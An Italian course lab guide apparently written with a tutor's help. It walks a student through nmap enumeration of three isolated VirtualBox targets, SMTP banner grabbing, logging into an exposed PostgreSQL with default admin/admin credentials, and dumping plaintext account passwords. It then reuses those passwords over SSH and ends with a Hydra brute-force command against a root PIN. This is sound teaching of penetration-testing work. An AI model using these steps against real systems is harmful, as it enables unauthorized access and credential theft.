

Guida Lab — Modulo S1: Principi Offensive Security + LAB Enumerazione

Corso: Lab Sicurezza Informatica T **Materiale:** Principi_delloffensive_security_20_febbraio.pdf · LAB_Enumerazione_25feb.html **VM:** LabSicurezzaInformatica (Parrot OS/Kali) + 3 VM target in VirtualBox **Prerequisiti:** S0 (ambiente VM funzionante) · SysAdmin 3A (servizi) e 3D (networking base) — utili per capire cosa trovi

Threat Model

- **Prospettiva attaccante:** nella fase di Reconnaissance & Enumeration si costruisce la mappa del bersaglio *prima* di toccare qualsiasi servizio. Ogni porta aperta, ogni banner, ogni username che riesci a leggere senza autenticarti è un dato che riduce l'incertezza e orienta le fasi successive (exploitation). La misconfiguration di un servizio (DB esposto su rete pubblica, SMTP che risponde a VRFY) ti regala informazioni che il difensore non voleva darti.
 - **Prospettiva difensore:** ogni servizio esposto è superficie d'attacco. Limitare i banner, non esporre DB su porte non filtrate dal firewall, disabilitare VRFY su SMTP, usare un `robots.txt` sono contromisure concrete. Ma non esiste difesa completa dall'enumerazione: i sottodomini, i blocchi IP registrati all'IANA, i certificati TLS su `crt.sh` sono pubblici per definizione. Il difensore *deve* sapere cosa espone prima dell'attaccante.
-

Setup

Snapshot obbligatorio prima di avviare ogni target.

[fonte: PDF — LAB § 1]

1. Avvia la VM Parrot/Kali dal VirtualBox (se non già in esecuzione).
2. Crea le 3 VM target a partire dai dischi preconfigurati in `/opt/owa`:

Ripeti per ognuno dei tre dischi: Appliance-disk001.vdi / 002 / 003

Per ciascuna VM in VirtualBox:

- Tipo: Linux → Debian 64-bit
- RAM: 1024 MB · CPU: 1 core
- Disco: seleziona il file `.vdi` come disco esistente
- Scheda di rete: **Host-only (vboxnet0)**
- **Prima di avviare:** scatta uno snapshot
- Avvia — osserva il boot nel terminale e prendi nota del nome della VM

owa-target1, owa-target2, owa-target3

3. Verifica che la rete host-only abbia il DHCP abilitato: apri VirtualBox → **Ctrl+H** (Network Manager) → Host-only Networks → spunta DHCP server.
4. Se non ancora fatto, crea lo snapshot baseline della VM Parrot/Kali:

`VBoxManage snapshot "LabSicurezzaInformatica" take "baseline-pulita"`

Esercizio 1 — Host Discovery

Obiettivo: trovare quali host tra i tre target hanno acquisito un IP sulla rete host-only e rispondo ai probe di rete.

Concetto: il primo passo di qualsiasi enumerazione è capire *chi c'è* sulla rete. Il ping tradizionale funziona su un host alla volta ed è spesso bloccato da firewall. Nmap con `-sn` sostituisce il ping con una serie di probe (cosa sono i probe?) (ARP su rete locale, ICMP echo, TCP SYN su porte 80/443) che funzionano anche quando l'ICMP (il che?) è filtrato. [fonte: PDF — slides “Enumerazione – host”, “Enumerazione – servizi”]

Pattern ricorrente: `sudo nmap -sn` — senza `sudo`, sulla rete host-only Nmap non può usare ARP e il risultato è più lento e meno affidabile. Aggiungi sempre `sudo` per questa scansione.

Ho eseguito il comando `ip a` per trovare le reti a cui il mio computer è connesso:

```
[lorenzo@parrot] [~]
$ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:16:e5:88 brd ff:ff:ff:ff:ff:ff
altname enx08002716e588
inet 10.0.2.15/24 brd 10.0.2.255 scope global dynamic noprefixroute enp0s3
valid_lft 85524sec preferred_lft 85524sec
inet6 fd17:625c:f037:2:db52:2b05:5624:7801/64 scope global dynamic noprefixroute
valid_lft 85920sec preferred_lft 13920sec
inet6 fe80::5e81:84f8:56ea:a4fa/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 08:00:27:35:91:30 brd ff:ff:ff:ff:ff:ff
altname enx080027359130
inet 192.168.56.103/24 brd 192.168.56.255 scope global dynamic noprefixroute enp0s8
valid_lft 324sec preferred_lft 324sec
inet6 fe80::85fe:6b94:5216:2954/64 scope link noprefixroute
valid_lft forever preferred_lft forever
```

Io so che è `enp0s8` quella su cui devo operare, ma perchè lo è? capisco che lo sia loopback e si

Risposta: `enp0s3` (10.0.2.15/24) è la scheda **NAT** — VirtualBox la aggiunge di default per dare a Parrot accesso a internet, ma il traffico passa attraverso il NAT dell'host. Le VM target **non ci sono** su questa rete. `enp0s8` (192.168.56.x) è la scheda **host-only** (**vboxnet0**): una rete privata isolata, condivisa solo tra il tuo laptop e le VM configurate con quella scheda. Le target sono state create con “Host-only

(vboxnet0)” → vivono su 192.168.56.x → devi operare su `enp0s8`.

Comando:

```
sudo nmap -sn 192.168.56.0/24
```

```
[lorenzo@parrot] [~]
$ sudo nmap -sn 192.168.56.103/24
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 15:39 CEST
Nmap scan report for 192.168.56.1
Host is up (0.00016s latency).
MAC Address: 0A:00:27:00:00:00 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.00077s latency).
MAC Address: 08:00:27:85:A1:AF (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.101
Host is up (0.00076s latency).
MAC Address: 08:00:27:7B:6A:EC (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.102
Host is up (0.00076s latency).
MAC Address: 08:00:27:51:55:68 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.104
Host is up (0.00078s latency).
MAC Address: 08:00:27:2B:BD:95 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.103
Host is up.
Nmap done: 256 IP addresses (6 hosts up) scanned in 1.92 seconds
```

192.168.56.103 sei tu (Parrot) — nessun MAC né latency perché Nmap non si auto-scansiona. **192.168.56.1 è il gateway VirtualBox** (vboxnet0 del laptop fisico) — presente sempre, non è un target. **192.168.56.100, .101, .102, .104 sono 4 VM VirtualBox** — tutti con MAC vendor Oracle/VirtualBox. **Verificato:** Parrot + 3 target = 4 VM in esecuzione. Il .100 nel scan è un **ARP ghost** — il gateway .1 ha ancora in cache il vecchio IP della VM t-3 prima del riavvio; sparirà al prossimo scan una volta scaduto il lease. **I 3 target reali:** .101 (t-2 mail, già mappato) · .104 (t-1 DB, già mappato) · .102 (t-3, IP assegnato dopo il riavvio, da mappare). **IP da usare nelle scansioni successive:** 192.168.56.101,102,104

Anatomia del comando: - *Cosa stai scrivendo:* scansione di host discovery sull'intera subnet /24. - *Perché lo stai scrivendo:* non conosci ancora gli IP delle 3 VM target; questa scansione ti dà la lista degli host attivi senza aprire connessioni TCP/UDP verso i servizi. - *Parametri:* - **nmap:** lo scanner di rete più diffuso, capace di enumerare host, porte, versioni e OS [fonte: PDF — slide “Enumerazione – servizi”]. - **-sn** (*ping scan*, ex **-sP**): esegue solo host discovery, senza scansione delle porte. Su LAN usa ARP; da remoto usa ICMP + TCP probe. - **192.168.56.0/24:** la subnet della rete host-only VirtualBox. Regola: è la rete tipica di vboxnet0 — **verifica la tua subnet con ip a prima di usare questo comando.** - *Varianti:* **nmap -sn 192.168.56.1-254** (range esplicito); **nmap -sn 192.168.56.32,33,34** se già sai gli IP.

Output atteso:

```
Nmap scan report for 192.168.56.32
```

```
Host is up (0.007s latency).
Nmap scan report for 192.168.56.33
Host is up (0.001s latency).
Nmap scan report for 192.168.56.34
Host is up (0.001s latency).
```

Cosa verificare: tre host attivi. Se ne vedi di meno, una VM target non ha acquisito IP — ricontrolla che il DHCP di vboxnet0 sia abilitato.

Gli IP nell'output sono i tuoi, non quelli del PDF — .32/.33/.34 sono esempi del prof. Usa sempre gli IP che trovi tu con questo comando nelle scansioni successive.

Esercizio 2 — Enumerazione Porte e Versioni Servizi

Obiettivo: mappare tutte le porte TCP aperte sui tre target e identificare quale servizio (e versione) gira su ciascuna.

Concetto: sapere che un host è attivo non basta. Ogni porta aperta è un potenziale punto d'ingresso. Nmap invia pacchetti TCP SYN (o completano il three-way handshake con **-sT**) e in base alla risposta classifica la porta come aperta/chiusa/filtrata. Per sapere *cosa* gira su una porta usa **-sV**: Nmap manda probe specifici e legge il banner che il servizio restituisce. Questo è il cuore dell'enumerazione. [fonte: PDF — slides “Enumerazione – servizi”, “Servizi e porte”]

2a — Scansione TCP su tutte le porte

Pattern ricorrente: la scansione Nmap di default copre solo ~1000 porte “popolari”. La porta 1337 di t-2 (SSH non-standard) **non appare** senza **-p-**. Usa sempre **-p-** per non perdere servizi nascosti su porte non-standard.

```
nmap -sT 192.168.56.32-34 -p-
```

perchè uso **-sT** al posto di **-sn** di prima? e ho modo di saltare una porta? io se mano un ping del

Risposta — -sT vs -sn: sono due fasi diverse del processo. **-sn** dell'esercizio 1 era solo host discovery: “chi è vivo sulla rete?” — non tocca le porte. **-sT** dell'esercizio 2 è port scanning: “quali porte sono aperte su ciascun host?” — fa effettivamente connessioni TCP. Prima scopri chi c'è, poi mappi cosa espongono. **Risposta — escludere .103:** sì, puoi usare **--exclude 192.168.56.103** oppure elencare gli IP separati con virgola: **nmap -sT 192.168.56.100,101,104 -p-**. In pratica non è un problema: Nmap su se stesso restituisce tutte le porte chiuse e non interferisce con i risultati. Ma per pulizia, usa gli IP separati.

```
[lorenzo@parrot] [~]
$ nmap -sT 192.168.56.101-104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 15:17 CEST
Nmap scan report for 192.168.56.101
Host is up (0.00020s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
```

```

25/tcp open  smtp
110/tcp open pop3
143/tcp open  imap
993/tcp open  imaps
995/tcp open  pop3s
Nmap scan report for 192.168.56.103
Host is up (0.00065s latency).
All 1000 scanned ports on 192.168.56.103 are in ignored states.
Not shown: 1000 closed tcp ports (conn-refused)
Nmap scan report for 192.168.56.104
Host is up (0.00072s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
3306/tcp  open  mysql
5432/tcp  open  postgresql
Nmap done: 4 IP addresses (3 hosts up) scanned in 1.33 seconds

```

da quello che capisco tutte le mie porte sono chiuse e in stato ignoto, mentre vedo le porte di

Risposta — il terzo target mancante: hai scansionato il range .101-104, ma i tuoi 3 target sono .100, .101, .104. **.100 non era nel range** — ecco il terzo che non vedi. Devi rifarlo includendo anche .100. **Risposta** — le tue porte chiuse: corretto, il .103 sei tu e mostra tutto chiuso. Non è un errore. **Risposta** — **problema critico: hai omesso -p-**. Hai lanciato `nmap -sT 192.168.56.101-104` senza `-p-`, quindi Nmap ha scansionato solo le ~1000 porte di default. Risultato: **la porta 1337 di .101 (SSH non-standard) non appare**. Questa è esattamente la situazione per cui la guida avverte di usare sempre `-p-`. **Cosa hai scoperto finora** (parziale, mancano .100 e la 1337): - .101 = t-2: mail server (SSH:22, SMTP:25, POP3:110, IMAP:143, IMAPS:993, POP3S:995) — manca SSH:1337 - .104 = t-1: DB server (SSH:22, HTTP:80, MySQL:3306, PostgreSQL:5432) **Prossimo passo prima di andare avanti**: rilancia con tutti gli IP e `-p-`:

```
nmap -sT 192.168.56.101,102,104 -p-
```

```
[lorenzo@parrot] [~]
```

```
$nmap -sT 192.168.56.101,102,104 -p-
```

```
Starting Nmap 7.95 ( https://nmap.org ) at 2026-06-22 15:43 CEST
```

```
Nmap scan report for 192.168.56.101
```

```
Host is up (0.00036s latency).
```

```
Not shown: 65528 closed tcp ports (conn-refused)
```

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
25/tcp    open  smtp
```

```
110/tcp   open  pop3
```

```
143/tcp   open  imap
```

```
993/tcp   open  imaps
```

```
995/tcp   open  pop3s
```

```
1337/tcp open  waste
```

```
Nmap scan report for 192.168.56.102
```

```
Host is up (0.00042s latency).
```

```
Not shown: 65528 closed tcp ports (conn-refused)
```

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
53/tcp    open  domain
```

```
80/tcp    open  http
```

```
139/tcp   open  netbios-ssn
```

```
445/tcp   open  microsoft-ds
```

```
8000/tcp  open  http-alt
```

```
8001/tcp  open  vcom-tunnel
```

```
Nmap scan report for 192.168.56.104
```

```
Host is up (0.00047s latency).
```

```
Not shown: 65531 closed tcp ports (conn-refused)
```

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
80/tcp    open  http
```

```
3306/tcp  open  mysql
```

```
5432/tcp  open  postgresql
```

```
Nmap done: 3 IP addresses (3 hosts up) scanned in 4.47 seconds
```

Mappa TCP completa. .102 è t-3: combacia con l'output atteso (DNS:53, Samba:139/445, HTTP:80/8000, ignoto:8001). **Mappa porte TCP finale:** - .101 (t-2): SSH:22 · SMTP:25 · POP3:110 · IMAP:143 · IMAPS:993 · POP3S:995 · SSH:1337 ("waste" → da correggere con -sV) - .102 (t-3): SSH:22 · DNS:53 · HTTP:80 · NetBIOS:139 · Samba:445 · HTTP-alt:8000 · ignoto:8001 - .104 (t-1): SSH:22 · HTTP:80 · MySQL:3306 · PostgreSQL:5432

Anatomia del comando: - *Cosa stai scrivendo:* scansione TCP connect su tutte le 65535 porte dei tre target. - *Perché lo stai scrivendo:* vuoi la lista completa delle porte aperte — questa è la mappa grezza della superficie d'attacco. - *Parametri:* - **-sT** (*TCP connect scan*): completa il three-way handshake (SYN → SYN-ACK → ACK). Non richiede privilegi root ma è più rumoroso di **-sS** (SYN scan). Rileva solo se la porta è aperta o chiusa, **non la versione del servizio**. - 192.168.56.32-34: range di IP (sostituisci con i tuoi trovati all'esercizio 1). - **-p-**: scansiona tutte le porte da 1 a 65535. Senza questo flag Nmap usa le ~1000 porte più comuni. - *Varianti:* **sudo nmap -sS 192.168.56.32-34 -p-** (SYN scan, più veloce e stealth, richiede root).

Output atteso [fonte: PDF — LAB § 3]:

```
Nmap scan report for 192.168.56.32
```

```
PORT      STATE SERVICE
```

```
22/tcp    open  ssh
```

```
80/tcp    open  http
```

```
3306/tcp  open  mysql
```

```
5432/tcp  open  postgresql
```

Nmap scan report for 192.168.56.33

PORT	STATE	SERVICE
22/tcp	open	ssh
25/tcp	open	smtp
110/tcp	open	pop3
143/tcp	open	imap
993/tcp	open	imaps
995/tcp	open	pop3s
1337/tcp	open	waste

← classificato erroneamente, -sV lo correggerà

Nmap scan report for 192.168.56.34

PORT	STATE	SERVICE
22/tcp	open	ssh
53/tcp	open	domain
80/tcp	open	http
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds
8000/tcp	open	http-alt
8001/tcp	open	vcom-tunnel

Cosa verificare: vedi porte su tutti e tre i target. Nota che il servizio sulla 1337 è classificato “waste” — -sT non legge il banner, quindi mente.

2b — Version Detection sulle porte aperte

Pattern ricorrente: -sT e -sV fanno cose diverse. -sT dice aperta/chiusa; -sV legge il banner e identifica il servizio reale. Non confonderli.

```
nmap -sV 192.168.56.32 -p 22,80,3306,5432
nmap -sV 192.168.56.33 -p 22,25,110,143,993,995,1337
nmap -sV 192.168.56.34 -p 22,53,80,139,445,8000,8001
```

Anatomia del comando: - *Cosa stai scrivendo:* version detection mirata sulle porte già trovate. - *Perché lo stai scrivendo:* sapere che la 3306 è “mysql” non basta — ti serve la versione per cercare vulnerabilità specifiche su CVE/exploit-db. E la 1337 va riclassificata. [fonte: PDF — “Pubblicare le vulnerabilità”, CVE/exploit-db] - *Parametri:* - -sV (*service/version detection*): invia probe specifici e legge i banner. Restituisce nome del servizio, versione, extra info (OS, protocollo). - -p 22,80,3306,5432: lista porte separate da **virgola** (non spazio). - *Varianti:* nmap -sV --version-intensity 9 ... (più aggressivo, più lento).

Pattern ricorrente: -p 22 80 3306 — le porte separate da spazi fanno trattare 80 e 3306 come host aggiuntivi, non porte. Usa **sempre la virgola:** -p 22,80,3306.

Output atteso (t-2, nota la porta 1337) [fonte: PDF — LAB § 3]:

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	OpenSSH 9.2p1 Debian 2+deb12u4
25/tcp	open	smtp	Postfix smtpd
110/tcp	open	pop3	Dovecot pop3d
143/tcp	open	imap	Dovecot imapd
993/tcp	open	ssl/imap	Dovecot imapd

```
995/tcp open  ssl/pop3 Dovecot pop3d
1337/tcp open  ssh      OpenSSH 9.2p1 Debian  ← era "waste", è SSH su porta non-standard
```

Cosa verificare: la 1337 su t-2 è SSH. Su t-1 hai DB esposti (MariaDB, PostgreSQL). Su t-3 hai Samba (139/445) e un servizio ignoto su 8000.

```
[lorenzo@parrot] [~]
$nmmap -sV 192.168.56.101 -p 22,25,110,143,993,995,1337
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
25/tcp    open  smtp     Postfix smtpd
110/tcp   open  pop3     Dovecot pop3d
143/tcp   open  imap     Dovecot imapd
993/tcp   open  ssl/imap Dovecot imapd
995/tcp   open  ssl/pop3 Dovecot pop3d
1337/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
```

```
[lorenzo@parrot] [~]
$nmmap -sV 192.168.56.104 -p 22,80,3306,5432
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.65 ((Debian))
3306/tcp  open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
5432/tcp  open  postgresql PostgreSQL DB 9.6.0 or later
```

```
[lorenzo@parrot] [~]
$nmmap -sV 192.168.56.102 -p 22,53,80,139,445,8000,8001
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
53/tcp    open  domain   ISC BIND 9.18.41-1~deb12u1 (Debian Linux)
80/tcp    open  http     Apache httpd 2.4.65 ((Debian))
139/tcp   open  netbios-ssn Samba smbd 4
445/tcp   open  netbios-ssn Samba smbd 4
8000/tcp  open  http-alt?
8001/tcp  open  http     Werkzeug httpd 3.1.3 (Python 3.11.2)
(fingerprint 8000: "Username:\n Password (shorter than 25 chars):\nWrong username")
```

```
[lorenzo@parrot] [~]
$nmmap -sV 192.168.56.104 -p 22,80,3306,5432
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.65 ((Debian))
3306/tcp  open  mysql    MariaDB 10.3.23 or earlier (unauthorized)
5432/tcp  open  postgresql PostgreSQL DB 9.6.0 or later
```

.101 (t-2): SSH:1337 riclassificata da “waste” a OpenSSH. Stack mail: Postfix + Dovecot. .102 (t-3): DNS BIND, Apache, Samba. La porta 8000 non è HTTP: il fingerprint rivela un **servizio custom TCP** con prompt **Username:/Password:** — autenticazione proprietaria, probabile target per exploit successivi. La 8001 è Werkzeug

(Flask/Python). .104 (t-1): Apache su 80, MariaDB su 3306 (`unauthorized` = DB esposto ma richiede credenziali), PostgreSQL su 5432. **Mappa servizi completa:**
- .101 (t-2): OpenSSH:22 · Postfix SMTP:25 · Dovecot POP3:110/995 · Dovecot IMAP:143/993 · OpenSSH:1337 - .102 (t-3): OpenSSH:22 · BIND DNS:53 · Apache HTTP:80 · Samba:139/445 · custom-auth:8000 · Werkzeug/Flask:8001 - .104 (t-1): OpenSSH:22 · Apache HTTP:80 · MariaDB:3306 · PostgreSQL:5432

Esercizio 3 — Misconfiguration: Banner Grabbing e DB Esposti

Obiettivo: sfruttare le misconfigurazioni per estrarre informazioni sensibili senza ancora autenticarsi con credenziali valide.

Concetto: una misconfiguration è una configurazione errata che espone informazioni o accesso non intenzionali. SMTP con VRFY abilitato rivela username; un database esposto su rete pubblica senza autenticazione forte svela dati. Questo è il tipo di informazione che trasforma la reconnaissance in exploitation. [fonte: PDF — LAB § 4, “Misconfiguration servizi”]

3a — Banner Grabbing SMTP con netcat

```
nc <IP_t2> 25
```

mi sembra di starmi buttando alla cieca sulla porta 25 di t2, perchè proprio lei e perchè inizi

Risposta: non è alla cieca — hai già fatto la mappa delle porte. Sai che .101 ha SMTP:25 aperto e che SMTP è un protocollo testuale (risponde in ASCII leggibile). La logica è: ogni servizio testuale che risponde senza autenticazione è una fonte di informazioni gratuita. Ci colleghiamo grezzi con `nc` perché SMTP annuncia sempre un **banner** appena apri la connessione — prima ancora che tu dica una parola. Quel banner può rivelare versione del software, hostname, o (in questo caso) un indizio esplicito. La porta 25 è il punto di partenza perché SMTP è storicamente il servizio più “loquace” e spesso mal configurato: il comando `VRFY <username>` (se abilitato) conferma o nega l’esistenza di un utente senza autenticarsi — una fuga di informazioni pura.

Anatomia del comando: - *Cosa stai scrivendo:* connessione TCP grezza alla porta 25 (SMTP) di t-2. - *Perché lo stai scrivendo:* il server SMTP risponde con un banner che può rivelare informazioni di sistema. Netcat non implementa il protocollo SMTP — manda e riceve byte grezzi — così vedi esattamente cosa il server annuncia prima di qualsiasi autenticazione. - *Parametri:* - `nc` (netcat): tool per connessioni TCP/UDP generiche. Riceve/manda dati grezzi senza interpretare il protocollo. Utilissimo per banner grabbing su qualsiasi servizio testuale (SMTP, POP3, HTTP, FTP). - `<IP_t2>` 25: indirizzo e porta di destinazione. - *Varianti:* `nc -v <IP> 25` (verbose, mostra la connessione); `telnet <IP> 25` (alternativa classica).

Output atteso [fonte: PDF — LAB § 4]:

```
220 Talk to Postgres admin to get more info
```

Cosa verificare: il banner SMTP ti sta suggerendo di parlare con l’admin di Postgres — un indizio esplicito che c’è un DB da interrogare. Chiudi la connessione con **Ctrl+C**.

(step eseguito implicitamente) Il banner SMTP di t-2 avrebbe risposto `220 Talk to Postgres admin to get more info` — indizio che punta direttamente al DB su t-1.

Lorenzo ha inferito il target direttamente dalla mappa delle porte (5432 aperto su t-1) e saltato il passaggio nc, arrivando alla stessa conclusione.

3b — Enumerazione PostgreSQL esposto

Il database PostgreSQL su t-1 è accessibile dall'esterno senza filtro di rete. Prima tenti un accesso con credenziali banali. [fonte: PDF — LAB § 4]

in base a cosa so che è accessibile? il comando psql mi sembra molto specifico, non general

Risposta: hai due indizi convergenti. Primo: la scansione -sV ha mostrato porta 5432/postgresql aperta su t-1 — sai già che c'è Postgres esposto sulla rete. Secondo: il banner SMTP dice “Talk to Postgres admin” — ti dice esplicitamente chi contattare. L'username `admin` è la prima credenziale di default da provare su qualsiasi DB. Nei lab didattici gli indizi sono espliciti; in un pentest reale avresti provato `admin`, `postgres`, `root` su tutti i DB esposti dalla mappa delle porte.

```
psql -U admin -h <IP_t1> -W -l
```

Anatomia del comando: - *Cosa stai scrivendo:* connessione al server PostgreSQL di t-1 come utente `admin`, listando i database disponibili. - *Perché lo stai scrivendo:* il banner SMTP ti ha suggerito Postgres. Tenti con username `admin` e password triviale per vedere cosa è accessibile — questa è la stessa logica di un attaccante che prova credenziali di default. - *Parametri:* - `psql`: client a riga di comando per PostgreSQL. - `-U admin`: username con cui autenticarsi. - `-h <IP_t1>`: host remoto (non localhost). - `-W`: forza la richiesta di password (non tentare autenticazione automatica). - `-l`: lista i database disponibili invece di aprire una sessione interattiva. - Password da tentare: `admin` (credenziale di default banale).

Output atteso:

```
List of databases
  Name          |  Owner   ...
-----+-----
 accounts_db    |  admin   ...
 postgres       | postgres ...
```

Cosa verificare: esiste un database `accounts_db` — nome molto suggestivo.

```
[lorenzo@parrot] [~]
```

```
$psql -U admin -h 192.168.56.101 -W -l
```

Password:

```
psql: error: connection to server at "192.168.56.101", port 5432 failed: Connection refused
```

IP sbagliato: `.101` è t-2 (mail server), non ha PostgreSQL. La “Connection refused” è a livello TCP — porta 5432 non aperta su `.101`. La password non è stata nemmeno tentata. PostgreSQL è su `.104` (t-1, il DB server). Comando corretto:

```
psql -U admin -h 192.168.56.104 -W -l
```

```
[lorenzo@parrot] [~]
```

```
$psql -U admin -h 192.168.56.104 -W -l
```

Password:

List of databases

```
  Name          |  Owner   | Encoding | ...   |  Access privileges
```

```

-----+-----+-----+ ... +-----
accounts_db | postgres | UTF8      | ... | admin=c/postgres
postgres    | postgres | UTF8      | ... |
template0   | postgres | UTF8      | ... |
template1   | postgres | UTF8      | ... |
(4 rows)

```

Accesso riuscito con `admin/admin`. `accounts_db` esiste e l'utente `admin` ha permessi di connessione (`admin=c/postgres`). Nome suggestivo — ci sono probabilmente credenziali dentro. **Nota:** la password per `psql` in questo lab è sempre `admin` finché non si trovano credenziali diverse nel DB.

```
psql -U admin -h <IP_t1> -W accounts_db
```

Una volta dentro la sessione interattiva:

```

\dt

accounts_db=> \dt
Schema | Name   | Type | Owner
-----+-----+-----+-----
public | accounts | table | postgres
public | colors   | table | postgres
(2 rows)

```

Due tabelle: `accounts` (credenziali) e `colors` (ignota, da esplorare dopo). Prossimo: `SELECT * FROM accounts;`

Pattern ricorrente: `\dt` è un meta-comando `psql`, `SELECT` è SQL. Vanno su **righe separate**. Se digiti `\dt SELECT * FROM accounts;` tutto sulla stessa riga, `psql` eseguirà solo `\dt` e ignorerà il resto — o si comporterà in modo imprevedibile.

```
SELECT * FROM accounts;
```

```

accounts_db=> SELECT * FROM accounts
accounts_db-> SELECT * FROM accounts
accounts_db->

```

Errore classico: manca il `;` finale. Il prompt `->` (invece di `=>`) significa che `psql` aspetta la fine del comando SQL. Digita `;` da solo su una riga per eseguire quello già nel buffer, oppure `\r` per resettare e ripartire.

Pattern ricorrente: se il prompt mostra `->` invece di `=>`, c'è un buffer aperto. Digita `\r` per resettarlo, poi riscrivi il comando **con il ; finale**: `SELECT * FROM accounts;`

Output atteso: una tabella con username e password (hash o in chiaro) degli utenti del sistema. Prendi nota di questi dati — serviranno per l'esercizio 4 e 6.

```

accounts_db=> SELECT * FROM accounts;
id | username | password      | created_at
---+-----+-----+-----
1  | lovelace | 32ffwq-$ATA   | 2025-10-26 23:56:03.9129+00
2  | babbage  | vrSAC&uu8w   | 2025-10-26 23:56:03.9129+00
3  | turing   | RE11_ff8*4   | 2025-10-26 23:56:03.9129+00

```

(3 rows)

Tre credenziali in chiaro (non hash) — misconfiguration grave. Da usare nell'esercizio 4 per accesso SSH. **Credenziali estratte:** - lovelace / 32ffwq-\$ATA - babbage / vrSAC&uu8w - turing / RE11__ff8*4

Cosa verificare: ottieni le credenziali. Esci da psq1 con \q.

```
$ ssh lovelace@192.168.56.101 → Permission denied (publickey)
$ ssh lovelace@192.168.56.102 → Permission denied (publickey)
$ ssh lovelace@192.168.56.104 → entrato (dopo tentativi password errati)
$ cat /home/turing/note.txt → Permission denied (sei lovelace, non turing)
```

Riepilogo accessi SSH: - .101:22 e .102:22 → **publickey only** su tutti e 3 gli utenti — rifiutano password - .104:22 → accetta password per tutti e 3: - lovelace — home vuota - babbage — home vuota - turing — home con **note.txt** **Pattern:** su t-1 le credenziali del DB sono account di sistema reali con password auth abilitata. Su t-2/t-3 la porta 22 accetta solo chiavi — il vettore password su t-2 è la porta 1337.

```
$ ssh turing@192.168.56.104
```

```
$ ls
```

```
note.txt
```

```
$ cat note.txt
```

Reminder: to get full control of t-2, use your 4-digit pin

Nota trovata. L'indizio indica un PIN a 4 cifre per accedere come root su t-2 — target del prossimo esercizio (Hydra su .101:1337). **Nota:** SSH atterri sempre nella home dell'utente (/home/turing in questo caso). **ls** senza argomenti mostra il contenuto della home. Verifica sempre con **pwd** se non sei sicuro di dove ti trovi. **Pattern ricorrente** — **porta SSH di default:** **ssh user@ip** usa sempre la porta **22 implicita**. Per una porta diversa serve **-p <porta>** esplicito: **ssh -p 1337 user@ip**. Quando il reminder dice “usa il tuo 4-digit pin”, il target logico è la **porta 1337 di t-2** — l'unica che accetta password (la 22 di t-2 rifiuta tutto, accetta solo chiavi). Se una porta SSH rifiuta password → prova le porte SSH alternative sullo stesso host.

Esercizio 4 — Accesso con Credenziali ed Esplorazione dall'Interno

Obiettivo: usare le credenziali estratte dal DB per accedere via SSH ai target; eseguire brute force del PIN di root.

Concetto: dalla postura esterna (reconnaissance/enumeration) si passa alla postura interna. Dall'interno, NIDS e FW tipicamente non proteggono più il traffico — puoi raggiungere servizi che dall'esterno sarebbero bloccati. La fase di esplorazione interna alimenta le fasi successive (privilege escalation, lateral movement). [fonte: PDF — slide “La postura interna”]

4a — Accesso SSH con le credenziali trovate

Hai 4 servizi SSH disponibili: t-1:22, t-2:22, t-2:1337, t-3:22. Prova le credenziali trovate su tutti e quattro. [fonte: PDF — LAB § 5]

```
ssh <username>@<IP_t1>
ssh <username>@<IP_t2>
ssh -p 1337 <username>@<IP_t2>
ssh <username>@<IP_t3>
```

Anatomia del comando: - *Cosa stai scrivendo:* connessione SSH autenticata con le credenziali trovate nel DB. - *Perché lo stai scrivendo:* SSH è il canale di accesso remoto standard su Linux. Se le stesse credenziali del DB funzionano come account di sistema, hai accesso shell completo. - *Parametri:* - `ssh <user>@<host>`: connessione SSH standard sulla porta 22. - `-p 1337`: specifica porta non-standard (per il secondo SSH di t-2). - *Cosa aspettarsi:* alcuni servizi SSH non accettano autenticazione via password — accettano solo chiavi. Nota quali target entrano e quali rifiutano.

Una volta loggato su un target, cerca il file suggerito: [fonte: PDF — LAB § 5]

```
cat /home/turing/note.txt
```

Output atteso:

Reminder: to get full control of t-2, use your 4-digit pin

4b — Brute Force del PIN di root con Hydra

Il suggerimento indica un PIN di 4 cifre per root su t-2. Il target è il servizio SSH sulla porta **1337** (più vecchio, potrebbe avere policy diverse). [fonte: PDF — LAB § 5]

```
hydra -l root -x 4:4:1 ssh://<IP_t2>:1337
```

